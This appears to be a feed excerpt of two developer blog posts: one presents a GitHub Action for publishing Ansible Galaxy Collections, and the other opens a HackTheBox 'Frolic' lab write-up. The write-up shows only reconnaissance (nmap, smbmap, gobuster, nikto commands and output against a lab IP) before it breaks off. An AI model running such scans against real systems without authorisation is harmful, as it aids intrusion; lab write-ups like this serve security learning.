  My Workflow
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://docs.ansible.com/ansible/latest/dev_guide/developing_collections.html"&gt;Ansible Galaxy Collections&lt;/a&gt; were released in late 2019 as a modern method of sharing Ansible roles, plugins, and other snippets of a playbook. Deploying a Collection involves several &lt;code&gt;ansible-galaxy collection&lt;/code&gt; commands.&lt;/p&gt;

&lt;p&gt;I created a GitHub Action to simplify the process of publishing and updating a Collection to &lt;a href="https://galaxy.ansible.com/"&gt;Ansible Galaxy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The custom Action also provides some conveniences, such as allowing the Action workflow to assign a version to the Galaxy Collection.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Get the version from the tag&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo ::set-env name=RELEASE_VERSION::${GITHUB_REF/refs\/tags\//&lt;/span&gt;

&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Injecting a dynamic Collection version&lt;/span&gt;
  &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;artis3n/ansible_galaxy_collection@v2&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;api_key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;${{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;secrets.GALAXY_API_KEY&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}'&lt;/span&gt;
    &lt;span class="na"&gt;galaxy_version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;${{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;env.RELEASE_VERSION&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Submission Category:
&lt;/h3&gt;

&lt;p&gt;DIY Deployments&lt;/p&gt;
&lt;h3&gt;
  
  
  Yaml File or Link to Code
&lt;/h3&gt;

&lt;p&gt;I use this in a small personal collection:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/artis3n/ansible-collection-github/blob/master/.github/workflows/deploy.yml#L14"&gt;https://github.com/artis3n/ansible-collection-github/blob/master/.github/workflows/deploy.yml#L14&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Such a simple workflow, so convenient!&lt;/p&gt;

&lt;p&gt;The full Action code (Typescript published into a Docker-based GitHub Action) is here:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/artis3n"&gt;
        artis3n
      &lt;/a&gt; / &lt;a href="https://github.com/artis3n/ansible_galaxy_collection"&gt;
        ansible_galaxy_collection
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Deploy a Collection to Ansible Galaxy.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
ansible_galaxy_collection&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/artis3n/ansible_galaxy_collection/actions"&gt;&lt;img src="https://camo.githubusercontent.com/75d5921db01030443743753247445f4098deb5d03607b31086af8e10f9843e51/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f776f726b666c6f772f7374617475732f6172746973336e2f616e7369626c655f67616c6178795f636f6c6c656374696f6e2f54657374696e67253230746865253230416374696f6e" alt="GitHub Workflow Status"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/ansible_galaxy_collection/releases"&gt;&lt;img src="https://camo.githubusercontent.com/de64de46052bc46438fead3e87e0a7f3573901f998a009b7abec968ada9d17f4/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f762f72656c656173652f6172746973336e2f616e7369626c655f67616c6178795f636f6c6c656374696f6e" alt="GitHub release (latest SemVer)"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/5a40352aebc188b2c44d8d1f0cefc0d5bd6c3dc6212c5d592bef468a1673249c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f6b616c692d6172746973336e"&gt;&lt;img src="https://camo.githubusercontent.com/5a40352aebc188b2c44d8d1f0cefc0d5bd6c3dc6212c5d592bef468a1673249c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f6172746973336e2f6b616c692d6172746973336e" alt="GitHub last commit"&gt;&lt;/a&gt;
&lt;a href="https://codeclimate.com/github/artis3n/ansible_galaxy_collection/maintainability" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/0aa65bab31fdebba803ea75fcda135d3caf13cb42ce423b0dd84025d102d5c06/68747470733a2f2f6170692e636f6465636c696d6174652e636f6d2f76312f6261646765732f65306334643432393231646666373032313734302f6d61696e7461696e6162696c697479" alt="Maintainability"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/989d6956ce4a43601b9b6c4d9da9593866ce97f60ec13fd358403f242bbeead9/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f616e7369626c655f67616c6178795f636f6c6c656374696f6e"&gt;&lt;img src="https://camo.githubusercontent.com/989d6956ce4a43601b9b6c4d9da9593866ce97f60ec13fd358403f242bbeead9/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6172746973336e2f616e7369626c655f67616c6178795f636f6c6c656374696f6e" alt="GitHub"&gt;&lt;/a&gt;
&lt;a href="https://github.com/artis3n/"&gt;&lt;img src="https://camo.githubusercontent.com/22383d5c4f8bdf7b72cec290ba03f54922dbe5742aa8a24bb0a253e86d0bce0e/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f6c6c6f776572732f6172746973336e3f7374796c653d736f6369616c" alt="GitHub followers"&gt;&lt;/a&gt;
&lt;a href="https://twitter.com/Artis3n" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/02e387660ca64c1cb75acd4b0993f129d2e77d0e675ab40097464628b9a1b64e/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f6172746973336e3f7374796c653d736f6369616c" alt="Twitter Follow"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Deploy a Collection to Ansible Galaxy.&lt;/p&gt;
&lt;h2&gt;
Requirements&lt;/h2&gt;
&lt;p&gt;This action expects to be run from a repository with certain met conditions.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The repository contains a valid Ansible Galaxy Collection, meaning it minimally contains a &lt;code&gt;galaxy.yml&lt;/code&gt; file and a &lt;code&gt;README.md&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;An example workflow using this action can be found &lt;a href="https://github.com/artis3n/ansible-collection-github/blob/master/.github/workflows/deploy.yml"&gt;here&lt;/a&gt; and in &lt;a href="https://raw.githubusercontent.com/artis3n/ansible_galaxy_collection/main/.github/workflows/main.yml"&gt;the tests&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
Inputs&lt;/h2&gt;
&lt;h3&gt;
api_key&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Required&lt;/strong&gt;: Ansible Galaxy API key.&lt;/p&gt;
&lt;p&gt;This should be stored in a Secret on GitHub. See &lt;a href="https://help.github.com/en/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions#creating-and-using-secrets-encrypted-variables"&gt;Creating and Using Secrets Encrypted Variables&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
collection_dir&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Default&lt;/strong&gt;: &lt;code&gt;./&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The directory in which the Ansible Collection is stored. This defaults to the project root.&lt;/p&gt;
&lt;p&gt;Only change this if your Collection is not stored in your project root.&lt;/p&gt;
&lt;h3&gt;
galaxy_version&lt;/h3&gt;
&lt;p&gt;Semver-compatible string: &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;1.1&lt;/code&gt;, &lt;code&gt;1.1.1&lt;/code&gt;, &lt;code&gt;1.1.1-alpha&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Dynamically inject a semver-compatible version into your &lt;code&gt;galaxy.yml&lt;/code&gt; file.&lt;/p&gt;
&lt;h3&gt;
galaxy_config_file (Deprecated)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Default&lt;/strong&gt;: &lt;code&gt;galaxy.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A collection must have a galaxy.yml file that contains the necessary information to build…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/artis3n/ansible_galaxy_collection"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Additional Resources / Info
&lt;/h3&gt;

&lt;p&gt;I wrote about how I created this action and some of the philosophy behind GitHub Actions here:&lt;/p&gt;


&lt;div class="ltag__link"&gt;
  &lt;a href="/artis3n" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ftT9DYem--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://res.cloudinary.com/practicaldev/image/fetch/s--kS-HKY0G--/c_fill%2Cf_auto%2Cfl_progressive%2Ch_150%2Cq_auto%2Cw_150/https://dev-to-uploads.s3.amazonaws.com/uploads/user/profile_image/31225/0287802e-d35c-4cb1-853a-d1da64a800ae.jpg" alt="artis3n image"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="/artis3n/galaxy-collections-part-2-automatically-update-your-collection-with-github-actions-8na" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Galaxy Collections Part 2: Automatically Update Your Collection with Github Actions&lt;/h2&gt;
      &lt;h3&gt;Ari Kalfus ・ Nov  3 '19 ・ 16 min read&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#devops&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#showdev&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#ansible&lt;/span&gt;
        &lt;span class="ltag__link__tag"&gt;#github&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


</description>
      <category>actionshackathon</category>
      <category>ansible</category>
    </item>
    <item>
      <title>Buffer Overflow on HackTheBox Frolic - with Metasploit</title>
      <dc:creator>Ari Kalfus</dc:creator>
      <pubDate>Sun, 28 Jun 2020 22:35:32 +0000</pubDate>
      <link>https://forem.com/artis3n/buffer-overflow-on-hackthebox-frolic-with-metasploit-2flj</link>
      <guid>https://forem.com/artis3n/buffer-overflow-on-hackthebox-frolic-with-metasploit-2flj</guid>
      <description>&lt;p&gt;This series will follow my exercises in &lt;a href="https://www.hackthebox.eu"&gt;HackTheBox&lt;/a&gt;. All published writeups are for retired HTB machines. Whether or not I use Metasploit to pwn the server will be indicated in the title.&lt;/p&gt;

&lt;h1&gt;
  
  
  Frolic
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;&lt;small&gt;Difficulty: Easy&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;small&gt;&lt;em&gt;Machine IP: 10.10.10.111&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;I start off, as always, with a couple of port scans.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; 10.10.10.111

Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-24 14:30 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.111
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.014s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 65530 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;16.06 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,139,445,1880,9999 10.10.10.111
Starting Nmap 7.80 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-06-24 14:33 EDT
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.10.111
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.066s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
1880/tcp open  http        Node.js &lt;span class="o"&gt;(&lt;/span&gt;Express middleware&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-server-header: nginx/1.10.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.16 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.9 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.11 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.8 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.4 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.9 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.18 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.2 &lt;span class="o"&gt;(&lt;/span&gt;95%&lt;span class="o"&gt;)&lt;/span&gt;
No exact OS matches &lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Network Distance: 2 hops
Service Info: Host: FROLIC&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Host script results:                                                                                              
|_clock-skew: mean: &lt;span class="nt"&gt;-1h44m08s&lt;/span&gt;, deviation: 3h10m31s, median: 5m51s                                                 
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; &lt;span class="o"&gt;(&lt;/span&gt;unknown&lt;span class="o"&gt;)&lt;/span&gt;                         
| smb-os-discovery:                                                                                               
|   OS: Windows 6.1 &lt;span class="o"&gt;(&lt;/span&gt;Samba 4.3.11-Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;                                                                         
|   Computer name: frolic                                                                                         
|   NetBIOS computer name: FROLIC&lt;span class="se"&gt;\x&lt;/span&gt;00                                                                             
|   Domain name: &lt;span class="se"&gt;\x&lt;/span&gt;00                                                                                             
|   FQDN: frolic                                                                                                  
|_  System &lt;span class="nb"&gt;time&lt;/span&gt;: 2020-06-25T00:09:53+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled &lt;span class="o"&gt;(&lt;/span&gt;dangerous, but default&lt;span class="o"&gt;)&lt;/span&gt;
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   &lt;span class="nb"&gt;date&lt;/span&gt;: 2020-06-24T18:39:53
|_  start_date: N/A

TRACEROUTE &lt;span class="o"&gt;(&lt;/span&gt;using port 445/tcp&lt;span class="o"&gt;)&lt;/span&gt;
HOP RTT      ADDRESS
1   83.22 ms 10.10.14.1
2   83.64 ms 10.10.10.111
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I am particularly interested in seeing that &lt;code&gt;tcp/1880&lt;/code&gt; and &lt;code&gt;tcp/9999&lt;/code&gt; are web servers.&lt;/p&gt;

&lt;p&gt;Since SMB is also open on this machine, I try to access SMB shares, but none are exposed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;smbmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; 10.10.10.111

&lt;span class="o"&gt;[&lt;/span&gt;+] Guest session       IP: 10.10.10.111:445    Name: 10.10.10.111                                      
        Disk                                                    Permissions     Comment
        &lt;span class="nt"&gt;----&lt;/span&gt;                                                    &lt;span class="nt"&gt;-----------&lt;/span&gt;     &lt;span class="nt"&gt;-------&lt;/span&gt;
        print&lt;span class="nv"&gt;$ &lt;/span&gt;                                                 NO ACCESS       Printer Drivers
        IPC&lt;span class="nv"&gt;$ &lt;/span&gt;                                                   NO ACCESS       IPC Service &lt;span class="o"&gt;(&lt;/span&gt;frolic server &lt;span class="o"&gt;(&lt;/span&gt;Samba, Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I start my enumeration with &lt;code&gt;gobuster&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-t&lt;/span&gt; 30 &lt;span class="nt"&gt;-x&lt;/span&gt; txt,php &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.111:1880/
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://10.10.10.111:1880/
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        30
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:     txt,php
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 14:56:51 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/icons &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/red &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/vendor &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
/settings &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/Icons &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/nodes &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/SETTINGS &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/flows &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
/ICONS &lt;span class="o"&gt;(&lt;/span&gt;Status: 401&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 15:10:34 Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing particularly interesting on &lt;code&gt;tcp/1880&lt;/code&gt;, let's check &lt;code&gt;tcp/9999&lt;/code&gt; before digging in deeper.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nikto&lt;/code&gt; highlights several interesting endpoints, &lt;code&gt;/admin&lt;/code&gt;, &lt;code&gt;/backup&lt;/code&gt;, and &lt;code&gt;/test&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nikto &lt;span class="nt"&gt;-host&lt;/span&gt; http://10.10.10.111:9999/

- Nikto v2.1.6
&lt;span class="nt"&gt;---------------------------------------------------------------------------&lt;/span&gt;
+ Target IP:          10.10.10.111
+ Target Hostname:    10.10.10.111
+ Target Port:        9999
+ Start Time:         2020-06-24 14:46:46 &lt;span class="o"&gt;(&lt;/span&gt;GMT-4&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;---------------------------------------------------------------------------&lt;/span&gt;
+ Server: nginx/1.10.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site &lt;span class="k"&gt;in &lt;/span&gt;a different fashion to the MIME &lt;span class="nb"&gt;type&lt;/span&gt;
+ No CGI Directories found &lt;span class="o"&gt;(&lt;/span&gt;use &lt;span class="s1"&gt;'-C all'&lt;/span&gt; to force check all possible &lt;span class="nb"&gt;dirs&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
+ nginx/1.10.3 appears to be outdated &lt;span class="o"&gt;(&lt;/span&gt;current is at least 1.14.0&lt;span class="o"&gt;)&lt;/span&gt;
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ /test/: Output from the phpinfo&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;function &lt;/span&gt;was found.
+ OSVDB-3092: /test/: This might be interesting...
+ /test/index.php: Output from the phpinfo&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;function &lt;/span&gt;was found.
+ OSVDB-3233: /test/index.php: PHP is installed, and a &lt;span class="nb"&gt;test &lt;/span&gt;script which runs phpinfo&lt;span class="o"&gt;()&lt;/span&gt; was found. This gives a lot of system information.
+ /admin/index.html: Admin login page/section found.
+ 7865 requests: 0 error&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; and 11 item&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; reported on remote host
+ End Time:           2020-06-24 14:49:20 &lt;span class="o"&gt;(&lt;/span&gt;GMT-4&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;154 seconds&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;---------------------------------------------------------------------------&lt;/span&gt;
+ 1 host&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; tested
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simultaneously running &lt;code&gt;gobuster&lt;/code&gt; reveals an additional endpoint of interest - &lt;code&gt;/dev&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 30 &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-x&lt;/span&gt; txt,php &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.10.111:9999/

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.0.1
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@_FireFart_&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:            http://10.10.10.111:9999/
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:        30
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Status codes:   200,204,301,302,307,401,403
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:     gobuster/3.0.1
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:     txt,php
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:        10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2020/06/24 14:52:23 Starting gobuster
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/admin &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt;
